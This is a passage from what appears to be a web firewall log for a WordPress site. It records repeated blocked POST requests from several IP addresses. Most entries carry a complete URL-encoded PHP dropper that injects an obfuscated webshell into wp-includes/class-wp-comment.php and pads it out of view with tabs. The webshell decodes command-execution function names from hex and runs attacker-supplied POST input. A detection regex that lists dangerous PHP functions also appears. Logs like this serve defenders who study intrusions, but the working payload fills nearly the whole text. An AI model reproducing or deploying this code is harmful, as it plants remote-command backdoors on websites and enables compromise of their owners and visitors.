ent%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:42","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524k1%2520%253D%2520%25277%2527%253B%2524k2%2520%253D%2520%25273%2527%253B%2524k3%2520%253D%2520%25275%2527%253B%2524k4%2520%253D%2520%25276%2527%253B%2524k5%2520%253D%2520%2527d%2527%253B%2524k6%2520%253D%2520%2527c%2527%253B%2524k7%2520%253D%2520%2527f%2527%253B%2524k8%2520%253D%2520%25278%2527%253B%2524k9%2520%253D%2520%25271%2527%253B%2524k10%2520%253D%2520%25274%2527%253B%2524k11%2520%253D%2520%25270%2527%253B%2524k12%2520%253D%2520%2527e%2527%253B%2524k13%2520%253D%2520%25279%2527%253B%2524k14%2520%253D%2520%25272%2527%253B%2524dependency_resolver1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25273%2527%2520.%2520%2524k1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k5%2529%253B%2524dependency_resolver2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k6%2520.%2520%2524k3%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%2524k3%2520.%2520%2524k1%2520.%2520%2524k8%2520.%2520%2524k4%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524k10%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524k1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524dependency_resolver5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k12%2529%253B%2524dependency_resolver6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k4%2520.%2520%2524k5%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25275%2527%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k2%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%2524k12%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524dependency_resolver7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k4%2520.%2520%25275%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%2524k4%2520.%2520%2524k4%2520.%2520%25276%2527%2520.%2520%2524k13%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k5%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%25276%2527%2520.%2520%2524k9%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k14%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524dependency_resolver1%2529%2529%257B%2524dependency_resolver1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver2%2529%2529%257Bprint%2520%2524dependency_resolver2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver3%2529%2529%257B%2524dependency_resolver3%2528%2524config_manager%252C%2524record_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524record_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver4%2529%2529%257B%2524dependency_resolver4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver5%2529%2526%2526function_exists%2528%2524dependency_resolver6%2529%2526%2526function_exists%2528%2524dependency_resolver7%2529%2529%257B%2524flag_tkn%253D%2524dependency_resolver5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524flag_tkn%2529%257B%2524factor_hld%253D%2524dependency_resolver6%2528%2524flag_tkn%2529%253B%2524dependency_resolver7%2528%2524flag_tkn%2529%253Bprint%2520%2524factor_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:8879\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnRRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nhA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524k1%2520%253D%2520%25277%2527%253B%2524k2%2520%253D%2520%25273%2527%253B%2524k3%2520%253D%2520%25275%2527%253B%2524k4%2520%253D%2520%25276%2527%253B%2524k5%2520%253D%2520%2527d%2527%253B%2524k6%2520%253D%2520%2527c%2527%253B%2524k7%2520%253D%2520%2527f%2527%253B%2524k8%2520%253D%2520%25278%2527%253B%2524k9%2520%253D%2520%25271%2527%253B%2524k10%2520%253D%2520%25274%2527%253B%2524k11%2520%253D%2520%25270%2527%253B%2524k12%2520%253D%2520%2527e%2527%253B%2524k13%2520%253D%2520%25279%2527%253B%2524k14%2520%253D%2520%25272%2527%253B%2524dependency_resolver1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25273%2527%2520.%2520%2524k1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k5%2529%253B%2524dependency_resolver2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k6%2520.%2520%2524k3%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%2524k3%2520.%2520%2524k1%2520.%2520%2524k8%2520.%2520%2524k4%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524k10%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524k1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524dependency_resolver5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k12%2529%253B%2524dependency_resolver6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k4%2520.%2520%2524k5%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25275%2527%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k2%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%2524k12%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524dependency_resolver7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k4%2520.%2520%25275%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%2524k4%2520.%2520%2524k4%2520.%2520%25276%2527%2520.%2520%2524k13%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k5%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%25276%2527%2520.%2520%2524k9%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k14%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524dependency_resolver1%2529%2529%257B%2524dependency_resolver1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver2%2529%2529%257Bprint%2520%2524dependency_resolver2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver3%2529%2529%257B%2524dependency_resolver3%2528%2524config_manager%252C%2524record_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524record_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver4%2529%2529%257B%2524dependency_resolver4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver5%2529%2526%2526function_exists%2528%2524dependency_resolver6%2529%2526%2526function_exists%2528%2524dependency_resolver7%2529%2529%257B%2524flag_tkn%253D%2524dependency_resolver5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524flag_tkn%2529%257B%2524factor_hld%253D%2524dependency_resolver6%2528%2524flag_tkn%2529%253B%2524dependency_resolver7%2528%2524flag_tkn%2529%253Bprint%2520%2524factor_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:44","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524k1%2520%253D%2520%25277%2527%253B%2524k2%2520%253D%2520%25273%2527%253B%2524k3%2520%253D%2520%25275%2527%253B%2524k4%2520%253D%2520%25276%2527%253B%2524k5%2520%253D%2520%2527d%2527%253B%2524k6%2520%253D%2520%2527c%2527%253B%2524k7%2520%253D%2520%2527f%2527%253B%2524k8%2520%253D%2520%25278%2527%253B%2524k9%2520%253D%2520%25271%2527%253B%2524k10%2520%253D%2520%25274%2527%253B%2524k11%2520%253D%2520%25270%2527%253B%2524k12%2520%253D%2520%2527e%2527%253B%2524k13%2520%253D%2520%25279%2527%253B%2524k14%2520%253D%2520%25272%2527%253B%2524dependency_resolver1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25273%2527%2520.%2520%2524k1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k5%2529%253B%2524dependency_resolver2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k6%2520.%2520%2524k3%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%2524k3%2520.%2520%2524k1%2520.%2520%2524k8%2520.%2520%2524k4%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524k10%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524k1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524dependency_resolver5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k12%2529%253B%2524dependency_resolver6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k4%2520.%2520%2524k5%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25275%2527%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k2%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%2524k12%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524dependency_resolver7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k4%2520.%2520%25275%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%2524k4%2520.%2520%2524k4%2520.%2520%25276%2527%2520.%2520%2524k13%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k5%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%25276%2527%2520.%2520%2524k9%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k14%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524dependency_resolver1%2529%2529%257B%2524dependency_resolver1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver2%2529%2529%257Bprint%2520%2524dependency_resolver2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver3%2529%2529%257B%2524dependency_resolver3%2528%2524config_manager%252C%2524record_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524record_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver4%2529%2529%257B%2524dependency_resolver4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver5%2529%2526%2526function_exists%2528%2524dependency_resolver6%2529%2526%2526function_exists%2528%2524dependency_resolver7%2529%2529%257B%2524flag_tkn%253D%2524dependency_resolver5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524flag_tkn%2529%257B%2524factor_hld%253D%2524dependency_resolver6%2528%2524flag_tkn%2529%253B%2524dependency_resolver7%2528%2524flag_tkn%2529%253Bprint%2520%2524factor_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:8879\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp0xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nsI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524k1%2520%253D%2520%25277%2527%253B%2524k2%2520%253D%2520%25273%2527%253B%2524k3%2520%253D%2520%25275%2527%253B%2524k4%2520%253D%2520%25276%2527%253B%2524k5%2520%253D%2520%2527d%2527%253B%2524k6%2520%253D%2520%2527c%2527%253B%2524k7%2520%253D%2520%2527f%2527%253B%2524k8%2520%253D%2520%25278%2527%253B%2524k9%2520%253D%2520%25271%2527%253B%2524k10%2520%253D%2520%25274%2527%253B%2524k11%2520%253D%2520%25270%2527%253B%2524k12%2520%253D%2520%2527e%2527%253B%2524k13%2520%253D%2520%25279%2527%253B%2524k14%2520%253D%2520%25272%2527%253B%2524dependency_resolver1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25273%2527%2520.%2520%2524k1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k5%2529%253B%2524dependency_resolver2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%